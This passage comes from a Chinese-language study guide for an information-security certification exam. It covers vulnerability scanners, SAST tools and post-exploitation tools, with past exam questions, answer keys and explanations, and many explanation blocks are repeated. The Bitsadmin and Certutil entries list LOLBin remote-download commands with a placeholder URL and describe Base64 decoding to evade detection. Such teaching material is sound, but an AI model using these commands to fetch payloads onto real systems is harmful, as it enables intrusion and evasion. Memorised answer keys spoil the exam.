- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 常與 WebInspect 並列為「OWASP Top 10 測試工具」代表
- 屬 DAST 工具（黑箱測試）
Nessus
弱點掃描（商業）
防護-110 安全防護-Q35 防護-111-Q21 防護-111-Q38 防護-113-1-Q2 防護-113-2-Q5 防護-114-1-Q17
📖 工具介紹
Tenable 公司的商業弱點掃描工具，業界使用率最高，支援大量 CVE 與合規基準。
⚙️ 使用情境 / 重要參數
使用情境：主機 / 網路弱點掃描、CVE 漏洞識別 版本：Nessus Professional（商業授權） 合規：PCI DSS、CIS Benchmark 等
📝 代表考題（防護-113-1-Q2）
關於弱點掃描，下列敘述何者錯誤？
A.網路弱點掃描用在尋找網路環境中的脆弱點，舉凡開放的通訊埠及所代表之服務，其服務是否透過未經加密的進行傳輸，或服務未更新漏洞
B.應用程式弱點掃描主要針對特定應用程式（尤其是網頁伺服器及其資料庫）的程式及應用環境（例如：Apache 版本漏洞），但主要是尋如 SQL 注入、跨站腳本、敏感目錄外洩…等可被攻擊之漏洞
C.主機弱點掃描用在檢查個別主機的脆弱點，例如主機效能負載對外服務能力，或是識別主機防毒系統是否更新 ✓
D.常見工具，有 OWASP ZAP, OpenVAS, Nessus…等
正確答案：
C
▶ 查看解析
【正確答案C】主機弱點掃描（Host Vulnerability Scan）的主要目的是檢查主機系統層面的安全弱點，例如作業系統版本漏洞、未修補的CVE、服務設定錯誤等，而非檢查「主機效能負載對外服務能力」或「防毒系統是否更新」，這些屬於效能監控或端點安全管理的範疇，並非弱點掃描的核心目的，故C敘述錯誤。
【A選項分析】網路弱點掃描針對開放通訊埠、服務加密性及版本漏洞，描述正確。
【B選項分析】應用程式弱點掃描針對SQL注入、XSS等Web層漏洞，描述正確。
【D選項分析】OWASP ZAP、OpenVAS、Nessus均為常見弱點掃描工具，描述正確。
【A選項分析】網路弱點掃描針對開放通訊埠、服務加密性及版本漏洞，描述正確。
【B選項分析】應用程式弱點掃描針對SQL注入、XSS等Web層漏洞，描述正確。
【D選項分析】OWASP ZAP、OpenVAS、Nessus均為常見弱點掃描工具，描述正確。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 商業（Nessus）vs 開源（OpenVAS）是常考對比
- 弱點掃描結果需依「風險等級」排優先序修補，非一律立刻全部修補
Nexpose
弱點掃描（商業）
防護-112-1-Q30
📖 工具介紹
Rapid7 的商業弱點掃描與風險評估平台，可與 Metasploit 整合進行漏洞驗證。
⚙️ 使用情境 / 重要參數
使用情境：弱點掃描與風險評分、修補優先序排定、合規評估
📝 代表考題（防護-112-1-Q30）
下面何項「不」是源碼檢測工具？
A.SonarQube
B.Checkmarx
C.Fortify
D.Nexpose ✓
正確答案：
D
▶ 查看解析
【正確答案：D】Nexpose是Rapid7公司開發的「弱點掃描工具（Vulnerability Scanner）」，用於掃描網路基礎設施與系統的已知漏洞（CVE），而非進行原始碼靜態分析。
A錯誤（本題問「不是」）：SonarQube是知名的開源SAST（靜態應用程式安全測試）工具，支援多種程式語言的源碼品質與安全分析。
B錯誤（本題問「不是」）：Checkmarx是企業級SAST工具，專門用於原始碼安全弱點掃描。
C錯誤（本題問「不是」）：Fortify（Micro Focus Fortify）是企業級SAST工具，廣泛用於金融、政府等高安全需求環境的源碼檢測。
A錯誤（本題問「不是」）：SonarQube是知名的開源SAST（靜態應用程式安全測試）工具，支援多種程式語言的源碼品質與安全分析。
B錯誤（本題問「不是」）：Checkmarx是企業級SAST工具，專門用於原始碼安全弱點掃描。
C錯誤（本題問「不是」）：Fortify（Micro Focus Fortify）是企業級SAST工具，廣泛用於金融、政府等高安全需求環境的源碼檢測。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 屬網路 / 主機弱點掃描（非 SAST）
- 出現在「SonarQube Checkmarx Fortify Nexpose 工具辨識」題
OWASP ZAP
Web 弱點掃描（DAST / 開源）
防護-112-2-Q30 防護-113-1-Q2 防護-113-2-Q29 防護-113-2-Q5 防護-114-1-Q17 防護-114-2-Q30
📖 工具介紹
開源 Web 應用程式動態安全測試工具（DAST），支援 OWASP Top 10 掃描與 HTTP 代理攔截。
⚙️ 使用情境 / 重要參數
使用情境：OWASP Top 10 掃描、HTTP 代理攔截分析、Web 滲透測試 與 Fortify 差異：ZAP → 動態分析（執行中程式）；Fortify → 靜態分析（原始碼）
📝 代表考題（防護-112-2-Q30）
關於源碼檢測的敘述，下列何者錯誤？
A.又稱靜態應用程式安全測試（Static Application Security Testing，SAST）
B.在安全系統發展生命週期（SSDLC）中，源碼檢測也是其中一項重要安全設計流程之一
C.主要目的是找出軟體程式碼中的安全問題或漏洞，這種測試通常在軟體的開發和維護階段進行
D.OWASP ZAP 是常見源碼檢測工具之一 ✓
正確答案：
D
▶ 查看解析
【正確答案：D】
本題考查源碼檢測（Source Code Review / SAST）的定義與常用工具。
(A) 正確：源碼檢測即靜態應用程式安全測試（SAST），直接分析程式源碼而不需執行程式，是靜態分析方法。
(B) 正確：在安全軟體開發生命週期（SSDLC）中，源碼檢測是開發階段的重要安全活動，能在程式碼進入測試或生產前發現安全問題，符合「Shift Left」安全原則。
(C) 正確：SAST 的主要目的確實是在開發和維護階段分析程式碼，找出 SQL Injection、XSS、緩衝區溢位等安全漏洞。
(D) 錯誤：OWASP ZAP（Zed Attack Proxy）是動態應用程式安全測試（DAST）工具，用於對運行中的 Web 應用程式進行黑盒測試，而非源碼檢測工具。常見的 SAST 工具包括 SonarQube、Checkmarx、Fortify SCA、Semgrep 等。
本題考查源碼檢測（Source Code Review / SAST）的定義與常用工具。
(A) 正確：源碼檢測即靜態應用程式安全測試（SAST），直接分析程式源碼而不需執行程式，是靜態分析方法。
(B) 正確：在安全軟體開發生命週期（SSDLC）中，源碼檢測是開發階段的重要安全活動，能在程式碼進入測試或生產前發現安全問題，符合「Shift Left」安全原則。
(C) 正確：SAST 的主要目的確實是在開發和維護階段分析程式碼，找出 SQL Injection、XSS、緩衝區溢位等安全漏洞。
(D) 錯誤：OWASP ZAP（Zed Attack Proxy）是動態應用程式安全測試（DAST）工具，用於對運行中的 Web 應用程式進行黑盒測試，而非源碼檢測工具。常見的 SAST 工具包括 SonarQube、Checkmarx、Fortify SCA、Semgrep 等。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- DAST（ZAP）vs SAST（Fortify SCA）差異
- 常在工具組合辨識題中出現
OpenVAS
弱點掃描（開源）
防護-110 安全防護-Q35 防護-113-1-Q2 防護-113-1-Q24
📖 工具介紹
開源弱點掃描框架，現為 Greenbone Vulnerability Management (GVM) 核心元件。
⚙️ 使用情境 / 重要參數
使用情境：網路弱點掃描、CVE 識別、開放埠與服務偵測
📝 代表考題（防護-113-1-Q2）
關於弱點掃描，下列敘述何者錯誤？
A.網路弱點掃描用在尋找網路環境中的脆弱點，舉凡開放的通訊埠及所代表之服務，其服務是否透過未經加密的進行傳輸，或服務未更新漏洞
B.應用程式弱點掃描主要針對特定應用程式（尤其是網頁伺服器及其資料庫）的程式及應用環境（例如：Apache 版本漏洞），但主要是尋如 SQL 注入、跨站腳本、敏感目錄外洩…等可被攻擊之漏洞
C.主機弱點掃描用在檢查個別主機的脆弱點，例如主機效能負載對外服務能力，或是識別主機防毒系統是否更新 ✓
D.常見工具，有 OWASP ZAP, OpenVAS, Nessus…等
正確答案：
C
▶ 查看解析
【正確答案C】主機弱點掃描（Host Vulnerability Scan）的主要目的是檢查主機系統層面的安全弱點，例如作業系統版本漏洞、未修補的CVE、服務設定錯誤等，而非檢查「主機效能負載對外服務能力」或「防毒系統是否更新」，這些屬於效能監控或端點安全管理的範疇，並非弱點掃描的核心目的，故C敘述錯誤。
【A選項分析】網路弱點掃描針對開放通訊埠、服務加密性及版本漏洞，描述正確。
【B選項分析】應用程式弱點掃描針對SQL注入、XSS等Web層漏洞，描述正確。
【D選項分析】OWASP ZAP、OpenVAS、Nessus均為常見弱點掃描工具，描述正確。
【A選項分析】網路弱點掃描針對開放通訊埠、服務加密性及版本漏洞，描述正確。
【B選項分析】應用程式弱點掃描針對SQL注入、XSS等Web層漏洞，描述正確。
【D選項分析】OWASP ZAP、OpenVAS、Nessus均為常見弱點掃描工具，描述正確。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 開源（OpenVAS）vs 商業（Nessus）
- 常出現在「常見弱點掃描工具組合列舉」題
WebInspect
Web 弱點掃描（商業 / DAST）
規劃-110規劃-Q27
📖 工具介紹
Fortify WebInspect（前 HP WebInspect），企業級 DAST 工具，用於 Web 應用程式動態安全測試。
⚙️ 使用情境 / 重要參數
使用情境：OWASP Top 10 測試、大型企業 Web 應用程式安全驗證
📝 代表考題（規劃-110規劃-Q27）
（承題組2背景）若您於事件結束後，轉換工作擔任某系統整合商（System Integration, SI）資安工程師，近期公司承接政府一級單位某資訊系統建置案，政府一級單位皆通過 ISO/IEC27001 認證，並在需求建議書（Request for Proposal, RFP）文件中要求：(1)在系統上線前與保固期間該專案軟體必須每季通過 OWASP Top 10 安全檢測、(2)相關程式源碼必須通過白箱檢測、(3)系統上線前應修補與提出對應防護機制，來完成硬體、作業系統、Web Service（如：IIS7, Tomcat, WebLogic）漏洞、(4)上線後還需經過第三方滲透測試。若您要進行安全技術作業來滿足上述軟體開發安全架構、服務環境安全架構需求，下列敘述何者「不」正確？
A.建議該單位通過 OWASP Top 10 安全檢測，通常可採用安全測試工具，如：Acunetix、WebInspect
B.可採用白箱檢測（white-box testing），又稱源碼分析（Source Code Analysis）工具，可以分析已經 Compile 後的執行檔程式，如：Fortify、IDA Pro ✓
C.在 Web 服務的防護對策，建議該單位採購網站應用程式防火牆（Web Application Firewall, WAF）來進行過濾攔阻攻擊行為，而 WAF 有軟體式與硬體式規格
D.在滲透檢測（Penetrant Testing, PT）作業上，因為已經是上線對外服務的系統，在滲透攻入成功後，應嚴守不破壞該資訊系統程式與資料
正確答案：
B
▶ 查看解析
【正確答案B（不正確的敘述）】白箱測試（White-box Testing）又稱源碼分析（SAST, Static Application Security Testing），其分析的對象是「原始碼（Source Code）」，而非已編譯的執行檔。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- WebInspect（DAST）vs Fortify SCA（SAST）差異
- 兩者均為 Micro Focus / OpenText 旗下產品但功能層次不同
🔎 原始碼分析 / SAST
Checkmarx
SAST（商業）
防護-112-1-Q30 防護-112-2-Q30 防護-113-1-Q24 防護-114-2-Q30
📖 工具介紹
商業靜態應用程式安全測試（SAST）工具，支援多種程式語言，可在開發初期發現漏洞。
⚙️ 使用情境 / 重要參數
使用情境：原始碼安全分析、DevSecOps 整合、開發階段安全左移（Shift Left）
📝 代表考題（防護-112-1-Q30）
下面何項「不」是源碼檢測工具？
A.SonarQube
B.Checkmarx
C.Fortify
D.Nexpose ✓
正確答案：
D
▶ 查看解析
【正確答案：D】Nexpose是Rapid7公司開發的「弱點掃描工具（Vulnerability Scanner）」，用於掃描網路基礎設施與系統的已知漏洞（CVE），而非進行原始碼靜態分析。
A錯誤（本題問「不是」）：SonarQube是知名的開源SAST（靜態應用程式安全測試）工具，支援多種程式語言的源碼品質與安全分析。
B錯誤（本題問「不是」）：Checkmarx是企業級SAST工具，專門用於原始碼安全弱點掃描。
C錯誤（本題問「不是」）：Fortify（Micro Focus Fortify）是企業級SAST工具，廣泛用於金融、政府等高安全需求環境的源碼檢測。
A錯誤（本題問「不是」）：SonarQube是知名的開源SAST（靜態應用程式安全測試）工具，支援多種程式語言的源碼品質與安全分析。
B錯誤（本題問「不是」）：Checkmarx是企業級SAST工具，專門用於原始碼安全弱點掃描。
C錯誤（本題問「不是」）：Fortify（Micro Focus Fortify）是企業級SAST工具，廣泛用於金融、政府等高安全需求環境的源碼檢測。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 SonarQube、Fortify SCA 並列
- 出現在「SonarQube Checkmarx Fortify Nexpose 各屬哪類工具」辨識題
Fortify SCA
SAST（商業）
規劃-110規劃-Q27 防護-112-1-Q30 防護-112-2-Q30 防護-113-2-Q5 防護-114-1-Q17
📖 工具介紹
HP/OpenText Fortify Static Code Analyzer，分析「原始碼（Source Code）」的 SAST 工具，是白箱測試的代表工具。
⚙️ 使用情境 / 重要參數
使用情境：白箱源碼安全分析、SSDLC 開發階段測試、DevSecOps 整合 ❗分析「原始碼」，無法直接分析已編譯的執行檔
📝 代表考題（規劃-110規劃-Q27）
（承題組2背景）若您於事件結束後，轉換工作擔任某系統整合商（System Integration, SI）資安工程師，近期公司承接政府一級單位某資訊系統建置案，政府一級單位皆通過 ISO/IEC27001 認證，並在需求建議書（Request for Proposal, RFP）文件中要求：(1)在系統上線前與保固期間該專案軟體必須每季通過 OWASP Top 10 安全檢測、(2)相關程式源碼必須通過白箱檢測、(3)系統上線前應修補與提出對應防護機制，來完成硬體、作業系統、Web Service（如：IIS7, Tomcat, WebLogic）漏洞、(4)上線後還需經過第三方滲透測試。若您要進行安全技術作業來滿足上述軟體開發安全架構、服務環境安全架構需求，下列敘述何者「不」正確？
A.建議該單位通過 OWASP Top 10 安全檢測，通常可採用安全測試工具，如：Acunetix、WebInspect
B.可採用白箱檢測（white-box testing），又稱源碼分析（Source Code Analysis）工具，可以分析已經 Compile 後的執行檔程式，如：Fortify、IDA Pro ✓
C.在 Web 服務的防護對策，建議該單位採購網站應用程式防火牆（Web Application Firewall, WAF）來進行過濾攔阻攻擊行為，而 WAF 有軟體式與硬體式規格
D.在滲透檢測（Penetrant Testing, PT）作業上，因為已經是上線對外服務的系統，在滲透攻入成功後，應嚴守不破壞該資訊系統程式與資料
正確答案：
B
▶ 查看解析
【正確答案B（不正確的敘述）】白箱測試（White-box Testing）又稱源碼分析（SAST, Static Application Security Testing），其分析的對象是「原始碼（Source Code）」，而非已編譯的執行檔。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 【最重要陷阱】Fortify SCA = 分析「原始碼」（SAST）；IDA Pro = 分析「已編譯執行檔」（逆向工程）。考題常以「白箱檢測可分析 Compile 後執行檔，如 Fortify、IDA Pro」作為「錯誤」敘述考驗
IDA Pro
逆向工程（Binary Analysis）
規劃-110規劃-Q27
📖 工具介紹
業界最著名的反組譯 / 逆向工程工具，分析已編譯的二進位執行檔（Binary），而非原始碼。
⚙️ 使用情境 / 重要參數
使用情境：惡意程式（Malware）逆向分析、二進位漏洞研究、軟體逆向工程
📝 代表考題（規劃-110規劃-Q27）
（承題組2背景）若您於事件結束後，轉換工作擔任某系統整合商（System Integration, SI）資安工程師，近期公司承接政府一級單位某資訊系統建置案，政府一級單位皆通過 ISO/IEC27001 認證，並在需求建議書（Request for Proposal, RFP）文件中要求：(1)在系統上線前與保固期間該專案軟體必須每季通過 OWASP Top 10 安全檢測、(2)相關程式源碼必須通過白箱檢測、(3)系統上線前應修補與提出對應防護機制，來完成硬體、作業系統、Web Service（如：IIS7, Tomcat, WebLogic）漏洞、(4)上線後還需經過第三方滲透測試。若您要進行安全技術作業來滿足上述軟體開發安全架構、服務環境安全架構需求，下列敘述何者「不」正確？
A.建議該單位通過 OWASP Top 10 安全檢測，通常可採用安全測試工具，如：Acunetix、WebInspect
B.可採用白箱檢測（white-box testing），又稱源碼分析（Source Code Analysis）工具，可以分析已經 Compile 後的執行檔程式，如：Fortify、IDA Pro ✓
C.在 Web 服務的防護對策，建議該單位採購網站應用程式防火牆（Web Application Firewall, WAF）來進行過濾攔阻攻擊行為，而 WAF 有軟體式與硬體式規格
D.在滲透檢測（Penetrant Testing, PT）作業上，因為已經是上線對外服務的系統，在滲透攻入成功後，應嚴守不破壞該資訊系統程式與資料
正確答案：
B
▶ 查看解析
【正確答案B（不正確的敘述）】白箱測試（White-box Testing）又稱源碼分析（SAST, Static Application Security Testing），其分析的對象是「原始碼（Source Code）」，而非已編譯的執行檔。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 【最重要陷阱】IDA Pro = 分析「已編譯執行檔」（逆向工程）；Fortify SCA = 分析「原始碼」（SAST）。考題以此作為「錯誤」選項
SonarQube
SAST / 程式碼品質分析（開源）
防護-112-1-Q30 防護-112-2-Q30 防護-114-2-Q38
📖 工具介紹
開源程式碼品質與安全分析平台，可整合 CI/CD 流程，支援多種程式語言的靜態分析。
⚙️ 使用情境 / 重要參數
使用情境：靜態應用程式安全測試（SAST）、DevSecOps 整合 支援語言：Java、Python、JavaScript、C# 等
📝 代表考題（防護-112-1-Q30）
下面何項「不」是源碼檢測工具？
A.SonarQube
B.Checkmarx
C.Fortify
D.Nexpose ✓
正確答案：
D
▶ 查看解析
【正確答案：D】Nexpose是Rapid7公司開發的「弱點掃描工具（Vulnerability Scanner）」，用於掃描網路基礎設施與系統的已知漏洞（CVE），而非進行原始碼靜態分析。
A錯誤（本題問「不是」）：SonarQube是知名的開源SAST（靜態應用程式安全測試）工具，支援多種程式語言的源碼品質與安全分析。
B錯誤（本題問「不是」）：Checkmarx是企業級SAST工具，專門用於原始碼安全弱點掃描。
C錯誤（本題問「不是」）：Fortify（Micro Focus Fortify）是企業級SAST工具，廣泛用於金融、政府等高安全需求環境的源碼檢測。
A錯誤（本題問「不是」）：SonarQube是知名的開源SAST（靜態應用程式安全測試）工具，支援多種程式語言的源碼品質與安全分析。
B錯誤（本題問「不是」）：Checkmarx是企業級SAST工具，專門用於原始碼安全弱點掃描。
C錯誤（本題問「不是」）：Fortify（Micro Focus Fortify）是企業級SAST工具，廣泛用於金融、政府等高安全需求環境的源碼檢測。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 常與 Fortify SCA、Checkmarx 並列為 SAST 工具
- DevSecOps 工具鏈核心一員
🕵️ 後滲透 / APT 工具
ADFind
AD 枚舉
防護-111-Q28
📖 工具介紹
Active Directory 查詢工具，攻擊者用於枚舉 AD 結構、使用者帳號、群組、OU 等資訊。
⚙️ 使用情境 / 重要參數
ATT&CK：T1087 Account Discovery 使用情境（惡意）：取得 AD 內部架構，為橫向移動尋找目標帳號
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- AD 偵察階段常用工具
- 與 ADDefaultDomainPasswordPolicy、Smbmap 等 AD 命令並列出現
Bitsadmin
後滲透工具（LOLBin）
防護-112-1-Q40
📖 工具介紹
Windows 內建 BITS 服務管理工具，常被攻擊者濫用後台靜默下載惡意 Payload，繞過防火牆規則（使用合法 Windows 服務）。
⚙️ 使用情境 / 重要參數
ATT&CK：T1197 BITS Jobs（防禦規避 + 持久化）
📝 代表考題（防護-112-1-Q40）
成功滲透到某個網站後，為了避免觸發相關警示而通知 IT 人員，於是採用「免殺（迴避防毒軟體的偵測）」的手法。發現該主機為一台 Windows 10 所搭建網站系統，決定使用 Windows 作業系統中相關工具程式來進行 Command & Control，下面哪些 Windows 作業系統「原生」指令可以使用在遠端下載？
A.Bitsadmin.exe ✓
B.Certutil.exe ✓
C.HH.exe ✓
D.Update.exe
正確答案：
ABC
▶ 查看解析
【正確答案：A、B、C】這是LOLBAS（Living Off the Land Binaries and Scripts）技術，利用Windows原生工具執行惡意操作以迴避偵測。
A正確：Bitsadmin.exe是Windows Background Intelligent Transfer Service管理工具，可使用 bitsadmin /transfer 命令從遠端URL下載檔案。
B正確：Certutil.exe是Windows憑證管理工具，可使用 certutil -urlcache -split -f [URL] 命令下載遠端檔案，並常被用於解碼Base64以迴避偵測。
C正確：HH.exe（HTML Help）是Windows原生的HTML說明執行程式，可透過指定遠端CHM檔案路徑達到遠端下載與執行的效果。
D錯誤：Update.exe並非Windows作業系統的原生內建指令，通常是特定應用程式（如Squirrel更新框架）的更新程式，不屬於Windows系統原生工具。
A正確：Bitsadmin.exe是Windows Background Intelligent Transfer Service管理工具，可使用 bitsadmin /transfer 命令從遠端URL下載檔案。
B正確：Certutil.exe是Windows憑證管理工具，可使用 certutil -urlcache -split -f [URL] 命令下載遠端檔案，並常被用於解碼Base64以迴避偵測。
C正確：HH.exe（HTML Help）是Windows原生的HTML說明執行程式，可透過指定遠端CHM檔案路徑達到遠端下載與執行的效果。
D錯誤：Update.exe並非Windows作業系統的原生內建指令，通常是特定應用程式（如Squirrel更新框架）的更新程式，不屬於Windows系統原生工具。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- LOLBin 概念
- 與 Certutil 並列為 Windows 內建惡意使用工具
- 出現在「哪些是後滲透工具」辨識題
CRACKMAPEXEC
AD 後滲透框架
防護-113-1-Q35 防護-113-2-Q38
📖 工具介紹
多功能後滲透框架，專為 Active Directory 環境設計，支援 SMB、LDAP、MSSQL 等協定的自動化攻擊。
⚙️ 使用情境 / 重要參數
功能：憑證噴灑（Password Spraying）、橫向移動、AD 枚舉、遠端執行命令
📝 代表考題（防護-113-2-Q38）
【題組5】（同題組5情境）滲透測試的外包商在進行檢測時，發現網站根目錄下存在不少的 PHP 檔案，例如有 1111.PHP, Shell.php, probe.php 還發現了一些副檔名為.dump 的檔案，其中有一個檔案開啟後如附圖一所示（附圖一內容顯示 SMB 445 埠的連線記錄，包含 Pwnage3! 密碼、aes256加密演算法資訊、LSA secrets傾印、plain_password_hex、DC網域控制站帳密資訊等）。請問此檔案為下列何項？
A.這是偵錯的 log 檔案
B.這是登入成功、失敗的安全性事件
C.這是 CRACKMAPEXEC 分析密碼的結果檔 ✓
D.這是 mimikatz 另存出來的結果檔
正確答案：
C
▶ 查看解析
【正確答案：C】附圖一的內容顯示SMB 445連線資訊、Dumping LSA secrets、plain_password_hex（明文密碼雜湊）、DC帳密等內容，這是CRACKMAPEXEC（CME）工具的輸出結果特徵。CRACKMAPEXEC是用於網路滲透測試的框架，可透過SMB協定進行橫向移動、憑證傾印（Credential Dumping）等操作，其輸出格式與附圖內容吻合。選項A：偵錯log通常是應用程式的錯誤訊息，不含SMB帳密傾印資訊。選項B：登入安全性事件是Windows事件日誌格式，與此格式不同。選項D：Mimikatz是另一種憑證傾印工具，其輸出格式不同（以記憶體抓取憑證為主），且附圖中的格式符合CME的輸出特徵。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 出現在「後滲透 AD 工具鏈」辨識題
- 與 Pwnage3 等工具組合
Certutil
後滲透工具（LOLBin）
防護-110 安全防護-Q18 防護-112-1-Q40 防護-113-1-Q36
📖 工具介紹
Windows 憑證管理工具，常被攻擊者濫用下載惡意檔案或 Base64 解碼。
⚙️ 使用情境 / 重要參數
certutil -urlcache -split -f [URL]：下載惡意檔案 certutil -decode：Base64 解碼（解包 Payload） ATT&CK：T1105 Ingress Tool Transfer
📝 代表考題（防護-112-1-Q40）
成功滲透到某個網站後，為了避免觸發相關警示而通知 IT 人員，於是採用「免殺（迴避防毒軟體的偵測）」的手法。發現該主機為一台 Windows 10 所搭建網站系統，決定使用 Windows 作業系統中相關工具程式來進行 Command & Control，下面哪些 Windows 作業系統「原生」指令可以使用在遠端下載？
A.Bitsadmin.exe ✓
B.Certutil.exe ✓
C.HH.exe ✓
D.Update.exe
正確答案：
ABC
▶ 查看解析
【正確答案：A、B、C】這是LOLBAS（Living Off the Land Binaries and Scripts）技術，利用Windows原生工具執行惡意操作以迴避偵測。
A正確：Bitsadmin.exe是Windows Background Intelligent Transfer Service管理工具，可使用 bitsadmin /transfer 命令從遠端URL下載檔案。
B正確：Certutil.exe是Windows憑證管理工具，可使用 certutil -urlcache -split -f [URL] 命令下載遠端檔案，並常被用於解碼Base64以迴避偵測。
C正確：HH.exe（HTML Help）是Windows原生的HTML說明執行程式，可透過指定遠端CHM檔案路徑達到遠端下載與執行的效果。
D錯誤：Update.exe並非Windows作業系統的原生內建指令，通常是特定應用程式（如Squirrel更新框架）的更新程式，不屬於Windows系統原生工具。
A正確：Bitsadmin.exe是Windows Background Intelligent Transfer Service管理工具，可使用 bitsadmin /transfer 命令從遠端URL下載檔案。
